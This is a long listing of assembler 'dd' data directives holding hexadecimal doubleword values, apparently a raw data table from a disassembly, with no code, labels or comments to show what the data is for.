dd 11B3B500h, 0C0644F52h, 2D1002A4h, 8E1EA071h, 3E96C680h dd 811D861Ah, 0A5C7824Eh, 56D1A91Bh, 51202519h, 395400E9h dd 0FE5ECF79h dd 0BA008FDFh, 73BE7DA8h, 4B490Fh, 9A114C1Ch, 337E4E65h dd 9BFFEC05h, 0B0001250h, 0E0DB5990h, 503A7835h, 3DE8E8ADh dd 675F3A4h, 14643F38h, 922C18AEh, 97185E32h, 6B41329h dd 7C011D57h, 7B4CD8A8h, 910903F8h, 0F011E378h, 770EE075h dd 0F2A7005Ah, 73449235h, 3D0B07B5h, 226C23h, 0C8A2DB50h dd 70BE00E9h, 0ACCD89D7h, 0B3065F37h, 6D99E2BCh, 0B6190970h dd 36059D3Dh, 0A8940068h, 394C30FFh, 0A2F55F00h, 35D0FD40h dd 48C10003h, 6347849Ah, 240568F8h, 570DEAFEh, 68808784h dd 0CFD35Eh, 0E7F2B7E3h, 452CC88Ah, 0DD411300h, 752450DBh dd 39FC00F7h, 4D8BA54Eh, 1A00AE47h, 0D11545F5h, 0F77D23h dd 86209365h, 0ACDA4A08h, 37777807h, 0FB83F421h, 88D1A8AEh dd 0E7D00A7h, 27B3047Ah, 6C029C4Ch, 8B2CE876h, 69A860FBh dd 0A6710Eh, 1D2B06D9h, 8C4686A9h, 0F1ECD000h, 4DE0D6ACh dd 0CCBD000Bh, 835E1340h, 0E8001576h, 0B71832C8h, 0C32EE3h dd 0F25418Dh, 10975FBAh, 0FCDD9400h, 1B12F398h, 0D660252Ah dd 622B2001h, 0C82C6032h, 43A7C300h, 75369D39h, 824001Ch dd 937F98E4h, 0DDF69E66h, 0C292F800h, 9FF76A6Ch, 0EA113855h dd 5A809D80h, 78B79BD4h, 8D0154Ch, 440EC6Eh, 9357E3D9h dd 9AC8D1D8h, 4009C21h, 4F330802h, 0F4BB34DCh, 1AAC03C5h dd 828C868Bh, 0F87A9BD8h, 0F6ADEC00h, 60BB4846h, 816C0008h dd 0CF474A5Bh, 72074C3Dh, 0D9511257h, 9942E9C1h, 0B337D880h dd 44D41007h, 3FA509Ah, 945B6916h, 0FD000C52h, 0C1B8E06Eh dd 255CE0D3h, 4882BB79h, 6C6691B5h, 0B4827800h, 0D48F7BD7h dd 5409704Ch, 17C8A036h, 478EEDh, 839AF58Eh, 7E00D768h dd 0DC32BCD8h, 1896F9h, 85FB8ED4h, 62CCA82Eh, 0AC47E600h dd 1265C8C2h, 0D25006Dh, 0B1134AF1h, 834A4E50h, 0F9EAF045h dd 0B58068D7h, 3A31E36Bh, 0DC0EA5B9h, 6CC96755h, 5F436864h dd 8A40A222h, 818C4574h, 0D83D2C18h, 5BFCD379h, 8964004Eh dd 0B8B624AEh, 0BB000543h, 7C4DF014h, 60BCDEFCh, 5AE088CCh dd 0CE02300Ah, 712FE36Ch, 4098A0C5h, 0F04F925Ch, 26B20C5Bh dd 6E78B915h, 0F1D13E00h, 4DA6F63Ah, 35300307h, 3914E2C7h dd 2DDDC801h, 8AAEC589h, 0B6B2842Ch, 92244200h, 1F2B820h dd 326A8184h, 0F01437B5h, 0DEE11ECh, 0C470E200h, 98587336h dd 575B91h, 0CC260EC8h, 0DA006A82h, 48011E9Fh, 0FB421Bh dd 9051BCB8h, 0AE245DA8h, 7D189900h, 5A5BDFDCh, 8DE80092h dd 0FB88EF38h, 8B7BDE78h, 6094260Ch, 344301Dh, 0E9418A58h dd 0BCD4B67Ch, 0BE0490BCh, 0C89AD8B1h, 0D931757Fh, 5EE11822h dd 222870CAh, 3A22B649h, 51642011h, 0D7FFE119h, 0F6085529h dd 84980F44h, 42D5FC22h, 64CB4871h, 0D8212C29h, 0B5FD11DAh dd 120CEA11h, 0CF5B1020h, 84C638Ah, 93E86529h, 0D6845410h dd 422548CCh, 4824E4A4h, 12C74D21h, 1E3C83C1h, 0DC2911DEh dd 0CBAA1150h, 0DB1CCD21h, 28105062h, 0E9C844BAh, 14745084h dd 7C228404h, 1A08F7C9h, 0A0B8F944h, 89BCF43Ch, 403D1191h dd 0B82713C8h, 953800FBh, 0AA61AA2h, 5800ABFEh, 0CD978175h dd 40BDFFh, 0CCCF8EEFh, 37650363h, 40084BCh, 5B48562Fh dd 1817B035h, 249D5CFDh, 55006C10h, 47BF15C3h, 7992E4F3h dd 13685F8Eh, 0AF30054h, 84B58C28h, 0AD23B70Fh, 0A17B2F51h dd 3A26A99Ch, 4A8D0FCh, 0FCA3E369h, 2BA8C84Fh, 112ADA1Dh dd 0BF4D66C5h, 44BB0C90h, 14C239A6h, 0B75ECE02h, 0E11AA0h dd 906080C1h, 568E473Ch, 29980E3h, 4ACC7308h, 44B208A0h dd 841F9780h, 0A86EF4h, 0B892F226h, 0E42DB536h, 28644960h dd 2C132FBFh, 3B4E3AAh, 59713984h, 0B9C6D5B8h, 55E1D10Dh dd 0ADE498DAh, 4569005Bh, 77E7EB3Eh, 7103F86Dh, 4976378Eh dd 0DFF4C89Ah, 0C18B0099h, 3093F90h, 7500201Bh, 0BD39C841h dd 800870h, 1A4328CFh, 9918488Fh, 387F841Dh, 5A95CE40h dd 83298Eh, 0D4448821h, 349F3B3Eh, 45D1B000h, 0DB65AD74h dd 50B70070h, 0D0AB87CDh, 0C1ED659h, 3A0546C9h, 8000E132h dd 17492C51h, 0D80D00BBh, 269EA98Ch, 0EA3F0EBAh, 7D8901B7h dd 0C213D183h, 12AA9470h, 806FC073h, 0DB82E358h, 728AB800h dd 0E5818F2Ch, 0CFC48D7h, 0E3AF5F00h, 4410496Ch, 6000E071h dd 0D2F41874h, 1F1AB2DAh, 407C50FDh, 0D6A3F730h, 910E848Eh dd 0E13FA813h, 0C778C847h, 49A870h, 3D7E6D23h, 3304AB12h dd 0EC0D481Dh, 843FC86Eh, 3910CB2Eh, 0B6D740B0h, 79308F54h dd 0E9B62DC0h, 4300D3ADh, 144EA53Bh, 1DD7A0A4h, 811E290Ch dd 0D4A1CE7Fh, 9E6EC70h, 2A5D3A00h, 0E2D6428Eh, 4672005Eh dd 80F4EE33h, 6E15DBA2h, 73E8309Bh, 98EAF504h, 0A787C28Ah dd 71E4640h, 0B7263A0Ch, 4009F81Dh, 0E27837E6h, 0D0008B15h dd 0DF5788DBh, 0A8DDA7h, 36295473h, 0C18DF7DEh, 0E5E6A00h dd 95DBEF2h, 12F5017Ah, 0D0FDD4AEh, 33C43095h, 412A6A0Fh dd 0CFBB23D6h, 1ED1B74Bh, 1468247Dh, 7B77A001h, 392E966Eh dd 727400D0h, 193D97FFh, 0A62203F2h, 0A3CC6288h, 0A50E80D8h dd 23F62600h, 0D7327649h, 8C160786h, 517DC8E6h, 0EBDF5508h dd 0E8C6A9E7h, 0B3008072h, 0A5B45BCFh, 3F19FBF6h, 2B81AAC7h dd 2FC049Ch, 2C283Bh, 19F89FBAh, 86DC09h, 98779B3Fh, 0E69A45CDh dd 5900B0B8h, 10BDB7ACh, 1E3C07E1h, 683857h, 585FE4E5h dd 7800172Dh, 0EFA01DF9h, 0E84F09D1h, 896500CCh, 34980A2Bh dd 6700D703h, 2076E958h, 0DE4EFAh, 0DF8D5A7Dh, 97251B2Ah dd 0A1C3CB00h, 0BA41CE67h, 40E60037h, 7E222E29h, 43B64D2h dd 74150052h, 9EF87DD5h, 0F6AE043Ah, 0C0CF6C31h, 96C0161Ch dd 0C00704Ah, 39B4FED6h, 81D02747h, 51152880h, 8F07D4AAh dd 0FFC0C98h, 5AD07D30h, 27647131h, 0B08FA447h, 793AD2C0h dd 0DF0093F7h, 871DD6Bh, 5A86FEh, 4AF601Fh, 295D913h, 0FC7725h dd 0DBCD7DC0h, 50FF1F71h, 0FD67CCE9h, 460073DCh, 0EE0F559Ah dd 1C7F485Dh, 0B866ABh, 0EF2F52A6h, 0B0009D57h, 0DF81EC33h dd 3F73A337h, 0F50D4Ch, 5ECA510Bh, 0F7EA3170h, 0BF7CA1F8h dd 38037809h, 0B1C80091h, 79FC0796h, 0FA130054h, 7A666B82h dd 5B00B646h, 9B975F03h, 0B1BC1E8h, 67F21A74h, 9E3D6700h dd 1D00E078h, 5CE69F85h, 26E6534h, 31F20AF6h, 1C54D8FEh dd 449C980h, 3BA82Eh, 0EEA04420h, 41343E6Dh, 3F13E077h dd 98C06C58h, 3DECC925h, 77000E31h, 30A844EFh, 430352C0h dd 0BE223F95h, 5F01A7B2h, 4CCAF3Dh, 18EB006Dh, 64BC0DB5h dd 8301DD10h, 0B47E47DBh, 13F978Ch, 957D96C8h, 0E3496092h dd 0D8EDB700h, 30602972h, 0B0879743h, 6B6A80CFh, 0CE0F0521h dd 0C025B106h, 26DD99D4h, 4CE1002Fh, 0C3E01796h, 0B4900D34h dd 7C37B200h, 0B1F00FFFh, 2FEE002Dh, 0AEDEB72Ch, 0ED77C6BEh dd 404D771Dh, 2211CDC0h, 1274A125h, 0F4B6EE1Eh, 7D00EA30h dd 0B48E072Dh, 1BB339Bh, 0AA2373E1h, 0D490FB36h, 21FEB538h dd 8CE84300h, 2CBFA3C6h, 0E93600B2h, 5C2D081Eh, 8A0072AAh dd 3EBD8DD7h, 1DA615Bh, 503FED81h, 0FB27CDFCh, 1C60A016h dd 8E492D03h, 7488987Dh, 7C540026h, 2D8C43EBh, 6AB0B49Fh dd 0A1D519C3h, 0B07DC8C8h, 93B0029h, 27DEC4D7h, 6B009383h dd 0AC72B22Dh, 1EF3F46Fh, 0C9BCF68Bh, 80A7361Ch, 327E3019h dd 95014637h, 85BB5599h, 86808676h, 6952B1F6h, 4C399793h dd 20CF167Ah, 0EC0009h, 6AD68517h, 24580106h, 0B3E07710h dd 728687Eh, 0AEC3DABBh, 2791A530h, 231900BDh, 79821DB3h dd 7100D57Fh, 0BE450F52h, 0A56853h, 58D6A9EFh, 0B0877766h dd 0D9ABE317h, 72294701h, 0D4407C7Ah, 527162Fh, 0EC20669Bh dd 0D05787B0h, 0EBF93C7Dh, 1000727Ah, 975EC60Eh, 48FD251h dd 0F1D94359h, 3C90C0AAh, 1B8DBE1h, 0A85BA01Dh, 6D3ADD00h dd 4B1E28h, 0C80536E6h, 18D38E51h, 4798F71Ch, 6052033Dh dd 0C82D86EBh, 9C505Ch, 0F0F13892h, 8BA70951h, 0DA34700h dd 0D58F40E9h, 579301E5h, 4950E45Eh, 0F2687462h, 0E1A839h dd 0B9CF8876h, 14B182F7h, 0AC1FDC17h, 0B200CE4Eh, 0D5B030EFh dd 0C3015CF6h, 550D6643h, 52D86265h, 0DCE70AF8h, 0B43DD7h dd 75D9F651h, 0C15CAEFAh, 87282FF0h, 33C2FE64h, 0A09AE0E2h dd 0E7D51330h, 2F7800ACh, 61648CB6h, 5D089701h, 553F75E6h dd 7BAFD0h, 8DC78423h, 6C9C569Eh, 288ED300h, 0C888FD87h dd 897503BCh, 94EB7EA1h, 1B2980A0h, 0B8695900h, 0BBCD8AACh dd 6A5C3CE7h, 0C4DED20Eh, 0ADD6DF00h, 27000AFAh, 0AB212971h dd 7099E0h, 33D0DA2Eh, 7E0BDD8Eh, 0B0A02B71h, 899798A8h dd 80047904h, 0CAA38F8Dh, 4E00E113h, 378A6FAEh, 13FC0601h dd 1FD6E548h, 0F32E40BDh, 0C3C5BDE0h, 0C79A9002h, 81F0713Ch dd 62BA6CB0h, 0CFC05C22h, 5ECDB9D3h, 0D261F0C0h, 587F5074h dd 951444F3h, 3701F4E2h, 0B6FD1B60h, 1FD1D43Bh, 0D90CEBB0h dd 60E9AF0Eh, 1917006Fh, 838BC735h, 973CE65Ah, 5DD5808Eh dd 0B252DC5Bh, 0CDF5002Eh, 1FB0EAABh, 0C5301641h, 27406856h dd 0A630004Dh, 34B79D5Ch, 730094E1h, 837C1417h, 3DFD167h dd 5CA7AB6Dh, 82909121h, 0B3247B01h, 32009CC0h, 67B7EA19h dd 1F9702C8h, 0F36855B1h, 1CAFA440h, 72842800h, 4CFAD62Ah dd 0D9570018h, 0DC7977A9h, 1204F2B8h, 81783213h, 0E31FFCFCh dd 86918E9Ah, 0BBDF4C00h, 6E00E4F1h, 3F2C542Dh, 0C7D0DCh dd 7F661DCBh, 4ACAB135h, 0AF220403h, 0A8C98DE7h, 2F8F533h dd 6FF41B92h, 0FC610C30h, 1398F0A6h, 0E9AC8397h, 23B491AAh dd 0E8C8C8h, 6CE6EBBAh, 1187CB7Ch, 0D6A64B01h, 12B7C013h dd 98002CBBh, 26A2C966h, 0A0A25AD2h, 0F91F9068h, 9D4311C0h dd 1EF4E81Eh, 53098D91h, 48E08004h, 0A80010B5h, 9E80AD66h dd 294AFA1h, 32DA82F8h, 0D4C00B5Dh, 13F8084Ah, 0E13B9E00h dd 0AD010E84h, 0D17F0399h, 0BE55A726h, 3BCF2839h, 712F00C2h dd 0F67240A0h, 0B860012h, 0ACA67AAFh, 0FB1FF9B6h, 0E3522A80h dd 1C290B0h, 8E3E14C1h, 0C455FCBDh, 8B006DFBh, 69DE4812h dd 0C95D4C0Dh, 0C0F91BB1h, 0D8F58D43h, 7EEFE07Ch, 580C0B3Bh dd 4C82AD74h, 0DA61DA65h, 0E61180EEh, 0F510D5Bh, 22DB00C9h dd 6D25E03Ch, 69009A49h, 2080F8DAh, 6E91A9h, 4DFB012Ch dd 4BF374B2h, 47E01D04h, 4CED8BADh, 57B411h, 0F7311CD2h dd 18081A42h, 7083B17Dh, 8118192Ch, 0A9112FFBh, 7E4F008Eh dd 0F963673Bh, 0D00BED3h, 759CF2D7h, 9B031Fh, 42B8CB73h dd 2298C537h, 0D793DD01h, 46E32D30h, 0A7F860h, 0E1FA3F8Ch dd 8B92A97Bh, 2801C5F0h, 9B4BDD07h, 41E031EBh, 68BF4C2Dh dd 0D4ACDA00h, 1C5370ABh, 243878B8h, 0A47F8081h, 7E8FADB2h dd 0C9E80058h, 4F95B362h, 0FF000C14h, 0F3392B9Dh, 194437h dd 0D9A0BEF7h, 6F95BAB0h, 2C16E018h, 9F9D0E20h, 0A0712CA4h dd 4F1FD178h, 0CDDD86D5h, 53078216h, 0BC84FDD2h, 1960DCEDh dd 0BBF95A2Ah, 123E6AF2h, 3420812Fh, 0A4307090h, 1FC401C1h dd 0ADEEB2h, 0A32B45A0h, 800CD23Bh, 5400CCB1h, 65C9ABC6h dd 952E2772h, 901834A0h, 0F500C53Eh, 0EFDEDAB0h, 31DA6ABh dd 37D92496h, 0E5A0CBBCh, 0D3EA3EC9h, 55380E00h, 2D63B6A3h dd 0CF9407CDh, 502EF52Fh, 6E1A99C6h, 6F08B003h, 0C8BD1286h dd 7CD1D24h, 68549392h, 0E953D37Fh, 6A983498h, 91A60214h dd 0F3060FA8h, 637A60AEh, 301E7293h, 9E46C6EAh, 809FA196h dd 3396E68h, 8D8F8033h, 4F7FA506h, 186F86h, 0B2DAAF83h dd 0B92033E5h, 80F5C33Bh, 49B1EA5h, 58B0FD08h, 0D003CE8h dd 7AFB1390h, 5201D1C6h, 0E568BE0h, 1AD89251h, 9CCB0CFEh dd 0B340F6A0h, 7E9BE30Eh, 0F0184085h, 2C55A6B9h, 0DB8DDCh dd 8FF2F33Bh, 8600CC21h, 2EDF6E73h, 7F721Dh, 665DFCCFh dd 0EB8412D7h, 4CF54E1Eh, 0E7E3228Fh, 51B7E552h, 0AC7B1070h dd 5B212876h, 4A4E0AFEh, 38A6568Eh, 4110A25h, 3B07E4DFh dd 1596C204h, 0E0C0EC5Ah, 5CF57Eh, 0ACDDB4F6h, 8E425277h dd 0E984CB00h, 0B52A40D3h, 3D00053h, 37F49972h, 0B200F712h dd 559751Dh, 4F578B28h, 18080014h, 0A0252D76h, 1DF52600h dd 0E4B99FD8h, 3A63077Bh, 0EEC0CF02h, 7F71C843h, 68316698h dd 4972E5Ch, 0C98B0DA5h, 58211CBCh, 6BC08F82h, 5D48E16Ah dd 3B94002Fh, 0F52CDF8Eh, 376C9D00h, 0C2A93090h, 0B905035Dh dd 5E1BAACAh, 3C72D599h, 8FAE39C0h, 0DE6C949Eh, 170154A9h dd 0B7037E22h, 0B4823C4h, 0ABCE94D9h, 0C4A09003h, 823208C8h dd 9E817B00h, 0D66FC05Eh, 68530C7Ch, 0B5989A44h, 1F5AA05h dd 7980629Eh, 0E95426h, 0BAB63282h, 0EDC8A89Ch, 8C40FEC0h dd 425BD0h, 0A51AA9AAh, 573A2696h, 0C511019Fh, 9EFC3571h dd 49283985h, 0F0986D00h, 9710752Fh, 79E3EE05h, 0F0C08FFCh dd 0C52A5h, 9C425AE9h, 59EDCB78h, 1DF89801h, 0B31B8C6Ch dd 2F9F6DCh, 708A029Bh, 60FCC7AAh, 4B0B6200h, 9F71B894h dd 0DE40EC00h, 0CE251B7Bh, 61B49290h, 2F547Ah, 24B9784Ch dd 7C9EECAFh, 8108383Dh, 0CEFEA90Ch, 8C60FF2Dh, 0A5910E07h dd 0E4342172h, 0A1BB8A00h, 877983F8h, 0B9BFC082h, 41F720Fh dd 0CE818037h, 9D2C0A2h, 73903F96h, 94A9D481h, 0C48682h dd 3E775A2Ch, 0F49CD46h, 0AC8F553Ah, 1D0002D6h, 0BD840F12h dd 10CB80C8h, 832439BFh, 0A0034C26h, 882A6C90h, 0CBBE2B7h dd 95532C18h, 1B01C29Ch, 77A646F9h, 4DD97F62h, 0DE780B2Bh dd 38364841h, 92888060h, 0F169550Fh, 5B64C870h, 9F9C2232h dd 835CF2C0h, 133A510Bh, 0D8BC4301h, 6EFAE3h, 3E70B23h dd 6455CD68h, 0CBE6F900h, 33E2C7BDh, 8ED10015h, 307D488Fh dd 9F012768h, 0B744AE3h, 0FFC87AD0h, 7E7C9001h, 51520019h dd 2F30CBD3h, 0D400ED9Eh, 8665AE2h, 0C1D6B1h, 1F12E5E6h dd 24A3434Ah, 0F994B850h, 6D356B0Fh, 0D573A078h, 1D7115Dh dd 0DEEF04E6h, 0E0C37565h, 7800D87Ah, 0AE195C67h, 1F94D0A0h dd 0C06F98C1h, 7C76BD2Ah, 9A169120h, 0D008635h, 0FF02F6A2h dd 7D9C2724h, 3801EC80h, 0B7797AB6h, 116C2A01h, 0F1980A1Bh dd 8583DCh, 2782D390h, 296A45ACh, 23BA1903h, 906F619Dh dd 0B8EBF785h, 6CFF0204h, 0CB257D18h, 0BB60E874h, 602E528Ah dd 0FF8C29C3h, 5B3AF38Fh, 0D0D8CFh, 0E4D3A9BDh, 4C90AB1h dd 0FA069AABh, 9908C0DDh, 9F3D31A3h, 55007003h, 0C28ED6F1h dd 4BDF6256h, 5BAC40F4h, 0F2131CCAh, 3808AB03h, 0B4934157h dd 5214B0h, 48D7A43Ah, 5CF1902Dh, 0F7979D0Fh, 0A02E2BABh dd 0C35FB5A8h, 0D8F6380Ch, 0E11D3881h, 0D8E0831Ch, 9A03B3F9h dd 3449A521h, 4079FAh, 1F43EB30h, 9B9C3EF2h, 93F62500h dd 653B807Bh, 21090C14h dd 4EC8CE13h, 0F4D84400h, 0E9611594h, 1C29774Fh, 9020126h dd 0FC59B9D5h, 0A0E2D060h, 93E6B0h, 85DE537Eh, 6BFEE952h dd 0D5B97960h, 0B53924h, 0DB38F725h, 0AFDCD0F3h, 138F8600h dd 5AC82894h, 0C043EE45h, 7BC68CB0h, 0CCB0BC17h, 8010B53Ah dd 2205982h, 2444D031h, 0BA8073h, 0B153B671h, 0A10070A7h dd 9BF77A97h, 3862C60Fh, 0D85DFC18h, 2970A400h, 0D7A22B21h dd 0D28C0595h, 1496860h, 0AE453B21h, 60475680h, 74EB03CAh dd 0DE433100h, 0FD91FFA0h, 0B017074Ch, 0EEEE4245h, 609C4178h dd 0D4FF7102h, 0D86F3EC5h, 0DB6600A0h, 3376578Ch, 0A575381Bh dd 0D4A8222Ch, 480B8801h, 16B1A64h, 445FD70Ch, 987CB4h dd 0CF93D932h, 183FBBh, 290830CCh, 0A52D531Bh, 91EA0A00h dd 0DAE993FBh, 6F40689h, 798C7D08h, 0CF133000h, 52FA8EA1h dd 375B3185h, 0F0781740h, 5600D699h, 25D490FBh, 0F0F93Eh dd 0BA361D95h, 0C6134A6Ch, 0E22DB501h, 0C70EB04Bh, 9800C069h dd 2B80FD60h, 6159465h, 0A8DC51h, 0D591DB3Eh, 0B7DA6E9Eh dd 2D979400h, 0DC266896h, 514EDA8h, 44C3F190h, 5DF01180h dd 97F3EEB4h, 6F012A76h, 62BD363Ch, 10208EFBh, 0B26101FDh dd 0AE0FEAFEh, 0E854C08Ah, 5750AA07h, 85A0D755h, 5955D56h dd 0A490446Bh, 16DC91ABh, 0CD9895DBh, 29A780DCh, 0F24A4FC7h dd 867D383Ah, 2EDDEE80h, 995CD0Fh, 0ECCB1200h, 0BA8756F6h dd 4C3F02E1h, 6C26644Bh, 0B8C48755h, 986867D1h, 0BEF3B0F4h dd 12BE9298h, 4B7C90D0h, 89EA1DFCh, 0B8D3DC07h, 1BC07AA2h dd 2F5FF6Bh, 32C9F24Dh, 24E0180Bh, 0A4005102h, 53887426h dd 0C050F882h, 68588310h, 906B06Eh, 0B494FCA7h, 5B6C2DE1h dd 7051D049h, 57E425C0h, 360E9C0h, 7FB0EBCh, 9A45C98Ch dd 0A2600ED2h, 0D41DAE09h, 858E8409h, 61B87037h, 0F619C87Bh dd 84E4247Ah, 95F24100h, 0D978A671h, 88BB1640h, 85C4008Ah dd 21DA796h, 0B41CDCE2h, 6C40277Ch, 51EF1E77h, 0EA46FC4Ah dd 453D28F2h, 66F500CCh, 0E7D7BA89h, 3F00B279h, 0C7DB7DD8h dd 25C38DC2h, 0F8AC6757h, 0E073E360h, 5CFFEC00h, 34E5FE33h dd 0B2CC2C6Fh, 723D0E48h, 0B480DC82h, 0A9BC34C0h, 86FCF060h dd 99A4D7h, 21F351F5h, 715FD808h, 95591407h, 96F0038Dh dd 0F4DD7h, 2C1C2A7Eh, 5CEC29EBh, 7AC5BF00h, 0B9A86463h dd 61CD00BCh, 6E2589C6h, 1AF42428h, 19DB720Bh, 0BA800EBh dd 0E9E590h, 5AFB819Eh, 657AA1E1h, 326DF100h, 0A426AA1Ch dd 0E8720358h, 70C6BCC4h, 233D90F0h, 0B6ACC700h, 72C2C968h dd 0F62B3FCBh, 4C27B73Bh, 1F76A040h, 5F0D0F0h, 0DF362D09h dd 0B6E8F894h, 0F0BE1658h, 0AF0035ACh, 6FDBECB7h, 13315D2Ch dd 0B0C4D13Ah, 9312AC44h, 50059D37h, 0B4C102DAh, 1A71FD4Bh dd 0EF40076Ah, 7CE4D0A0h, 3900DB68h, 0D766B6FBh, 0A60F34h dd 92376CECh, 0A8154EFFh, 5E01DD7Fh, 31BCD878h, 0BFDCAA11h dd 0AD6448CEh, 7D00153Ah, 7591B733h, 7000A82Bh, 3BD747B6h dd 26F87A3Ch, 97801D3Dh, 13802145h, 0A47869h, 744651E4h dd 76A26BFh, 0C5DE2A85h, 0E3D470A9h, 9800AC5Dh, 0F48C8F4Dh dd 5CFD51h, 507EB241h, 0F064DCE8h, 0E7061E2Eh, 22ECA802h dd 4DE8C033h, 566B12FFh, 0D96C01A2h, 0C88E364Ah, 3F2454C2h dd 9112664Eh, 131EA400h, 59832410h, 7409505Fh, 6002D218h dd 68D6E1AFh, 0B2528038h, 50EA1B6Bh, 0D9552D10h, 7810D40Bh dd 0FE0128C5h, 97B17106h, 17CDF8FAh, 9A3DC24h, 840D1EDAh dd 510B4C9Ch, 8CA68Dh, 0ADDEFA0h, 4CC89277h, 178C878h dd 97135395h, 348833E8h, 26008100h, 0C8D146ABh, 0F6BCC7h dd 5E700510h, 3825E6C9h, 0E46A4926h, 165F74C4h, 7D040F4h dd 66811629h, 2C60C2EEh, 5F52B299h, 0E90F07FFh, 0D07B3AB4h dd 0C5B6E5F6h, 0ED08BB17h, 98FC4CF0h, 0D46D34D4h, 0AD7DC159h dd 0A1AFFDh, 7FA2DCCh, 0EF7608h, 0E252B8D1h, 3EF11FA6h dd 4B6C9E16h, 2A9FCB0h, 65D3E8CDh, 74C558B6h, 9CA8CE12h dd 3A017A0Ch, 9C00AF19h, 4720153Ch, 1F81CB11h, 5307492h dd 8473A96Fh, 0CE98B4C8h, 1AAA842Eh, 0D97AD00h, 2B11D7F9h dd 1090BC1Bh, 0DBCFC290h, 4120E0AEh, 0C8985425h, 780C0C9Fh dd 1511C1B0h, 0DC539728h, 891C8859h, 0D6782209h, 248C4DAh dd 0C1BAD3D8h, 0E4E1A7FBh, 2797DC62h, 6C2F8800h, 4846BD3Bh dd 9E4B2CBCh, 0E538994h, 57770801h, 9694507Eh, 5F586EE5h dd 0F4A00954h, 215020A3h, 0B15E46h, 55A7404Ch, 0E0E2608Fh dd 8BDF7117h, 26440E4h, 8438D42Fh, 0C0D17E6Ah, 4CE4D000h dd 5C6069Ah, 0F8E3EE18h, 0C824E054h, 31627509h, 7BC88702h dd 8B839DA0h, 47EE4CF2h, 4B28AC40h, 8DCCC0E0h, 24751643h dd 0A3DA904h, 40C0E3C9h, 30472B3Ch, 3E11BF1Eh, 0BE2259F3h dd 7EF81CDCh, 0E22C017h, 195A914Ah, 1B5C5E01h, 86C698F4h dd 65D0E7CBh, 0A0FA94A9h, 22F38Ah, 74A0F146h, 0E4CEB8CBh dd 0AA50B892h, 0C409CDB8h, 204F994Eh, 2F6B8F6Ch, 7CDC0501h dd 92718D96h, 0E8C68384h, 8053AD3Fh, 0A4FBCBE0h, 7163209Bh dd 0F45F78ECh, 17C600B2h, 0B4C9C27Fh, 340055B1h, 0D508BF20h dd 0B69F66h, 0BD6B3D9Ah, 2A502EFFh, 4823EB00h, 0CA32EA9Ch dd 55E81CC1h, 97244046h, 82DEE5F0h, 1A68F458h, 80D0AF0Ah dd 8A9981A0h, 0F541CF5h, 58A280F3h, 0DE6DA074h, 0F10B3000h dd 3CEB2B04h, 0CEAF1C7Fh, 0DD768FBEh, 6E123A01h, 2B319E83h dd 0A6F93880h, 0C67872h, 449F147Eh, 8223B9ABh, 0F8CE4200h dd 0AE3298B1h, 0F302E2FEh, 5A0C006Ah, 113B516Bh, 2C06BC04h dd 9080A54Dh, 7EBDD69Fh, 13C4ED5h, 0B3192DF4h, 58127EE8h dd 3EAACB4h, 0C561AB2Ah, 0EC7E470Eh, 7C82135Fh, 13A8F46Fh dd 0FFF4A057h, 2D77A440h, 4CEC75BCh, 80B76000h, 0CCEF1221h dd 4FCF0190h, 5BB6E804h, 5D3060A0h, 84651F44h, 6A31660Fh dd 0E90E62h, 0FCF3430Eh, 923E0571h, 0C0E3CB82h, 0CF911390h dd 6A4C00B7h, 54413Bh, 0F7690D9Ch, 3319444Bh, 7C842800h dd 0ACB6B32Ch, 0D9350039h, 975EC8BEh, 0DF1C6BF8h, 4ACE488Ah dd 2B00B227h, 0D61695A0h, 473C2h, 0CC10B5BFh, 67DD01EBh dd 1C307600h, 2A7BD36h, 0F9D800EAh, 3BCB0B87h, 40C0673Dh dd 0FD686EC6h, 86A85806h, 0A4E7ED00h, 0B70CE083h, 0CB008BECh dd 58D84B9Ch, 6DA909h, 0AF16FDD2h, 0C5C6DCEAh, 6791CD00h dd 0EFF37ECCh, 0AA5AE5h, 95138ABCh, 0FF4B6A2Fh, 4F36E060h dd 28F64DC0h, 0C63CEE0Eh, 7940263Dh, 80F42CF6h, 0C55DB4ACh dd 6F7E128Eh, 712CC85Eh, 0EBFA6B00h, 433CDF2h, 39500D2h dd 9D5AE9A7h, 7E04DC67h, 0B2B5ED73h, 0B07C68FCh, 201A0974h dd 19000DDDh, 4E0838F5h, 0F76D8F1Dh, 70A1ED80h, 0B8B59A3Fh dd 0D799C039h, 290836A3h, 0D4801D00h, 0F9603105h, 26CE1692h dd 7858628Fh, 98C1A426h, 80389984h, 473E4B7Ah, 5B01349Dh dd 31592176h, 0F43498BAh, 3FE000BDh, 30FCE145h, 8998D3DEh dd 8072370h, 0F57F2111h, 0E02A8102h, 35B9B5h, 590BC51Bh dd 4F3C4136h, 3CB3287Dh, 0B060CB3Bh, 58D139B9h, 7490E48Dh dd 5B821BB0h, 0C9F0DF00h, 0A56CC6BEh, 642F50F4h, 1F327A7Dh dd 0EAFF30h, 5E87C4D4h, 0DC09A75Ah, 80D03BB7h, 81A55048h dd 0C0A05496h, 941209BFh, 0F0C6C928h, 0D45C8B00h, 883D1C33h dd 0F22D7EB3h, 0CA413C4Dh dd 40C08059h, 7C77ADD8h, 9B223400h, 6A82F66Dh, 60A44E83h dd 45403EC8h, 0E6015470h, 0F996B069h, 0AC749F82h, 9EC3008Eh dd 0A1F7B638h, 8C3A3AC1h, 24A04C29h, 8F002A48h, 1960751Bh dd 47940015h, 37067D9Ch, 0D65CAA1Ah, 5EE81FBBh, 0B63C7481h dd 4EC6D17h, 0E038B01Bh, 0F1190061h, 0C8F263BFh, 9D015CE2h dd 0A2AB8C03h, 30601C10h, 8CD954E8h, 6C33B79Fh, 9370DC90h dd 0CA4C38B2h, 5C084E3Ch, 400AF1Eh, 7C8DE530h, 7B8F3B04h dd 3CC0B7C4h, 0BAB940Ah, 0B4E2D6CAh, 5B788200h, 0AE132224h dd 2CF08D15h, 0AC0100CDh, 98DD4026h, 0F10EB6DAh, 3286EB56h dd 5700B4B9h, 0ED29EF93h, 35009763h, 1E2E7DB0h, 15183DBh dd 93E734EEh, 70EA7127h, 8C38D73Fh, 74508066h, 95BC4746h dd 0AA233EF3h, 4E41710Fh, 7DA10700h, 200832Ah, 915AB29Ah dd 1427D3h, 0A4164EC5h, 82F17266h, 68B92C25h, 7C4594h dd 223C46E7h, 0AC63C02Bh, 1CEF9450h, 8BA52507h, 11F01E0Fh dd 246F3B08h, 7CA635h, 5DD57E07h, 681D643Ah, 61EF9FEBh dd 4BC448E8h, 13B401C0h, 830251B8h, 0E4023B89h, 0C6AB4E18h dd 0F5490E30h, 6CA5EF7Eh, 26DE801Ch, 64488F9Ah, 91880080h dd 2F045B51h, 